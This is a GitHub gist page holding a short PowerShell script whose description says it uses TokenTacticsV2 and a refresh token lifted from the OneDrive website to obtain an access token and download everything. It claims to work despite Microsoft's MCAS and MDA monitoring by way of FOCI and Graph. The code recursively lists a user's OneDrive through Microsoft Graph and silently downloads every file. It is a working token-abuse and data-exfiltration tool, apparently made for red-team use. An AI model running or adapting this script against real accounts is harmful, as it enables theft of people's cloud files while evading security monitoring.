-
-
Save f-bader/e0c8dd8ccbcb48e437fb4f243de125fb to your computer and use it in GitHub Desktop.
Use TokenTacticsV2 and RefreshToken from OneDrive website to get an AccessToken. Then download everything. Works with MCAS and MDA thanks to FOCI and Graph
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Get-CustomOneDriveFileList { | |
param ( | |
$ObjectId | |
) | |
if ([string]::IsNullOrWhiteSpace($ObjectId)) { | |
Write-Verbose "Use root folder" | |
$Objects = (Invoke-MgGraphRequest -Uri "https://graph.microsoft.com/beta/me/drive/root/children" )['value'] | |
} | |
else { | |
Write-Verbose "Use object id $ObjectId" | |
$Objects = (Invoke-MgGraphRequest -Uri "https://graph.microsoft.com/v1.0/me/drive/items/$($ObjectId)/children")['value'] | |
} | |
foreach ($Object in $Objects) { | |
if ( $Object.ContainsKey("folder") ) { | |
Write-Verbose "Object id $ObjectId is a folder" | |
Get-CustomOneDriveFileList -ObjectId $($Object.id) | |
} | |
elseif ( $Object.ContainsKey("webUrl") ) { | |
Write-Verbose "Object id $ObjectId is a file" | |
[PSCustomObject]@{ | |
downloadUrl = $Object.'@microsoft.graph.downloadUrl' | |
fileName = $Object.name | |
} | |
} | |
} | |
} | |
$ProgressPreference = "SilentlyContinue" | |
$Files = Get-CustomOneDriveFileList | |
foreach ($File in $Files) { | |
Invoke-WebRequest $File.downloadUrl -OutFile $File.fileName | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment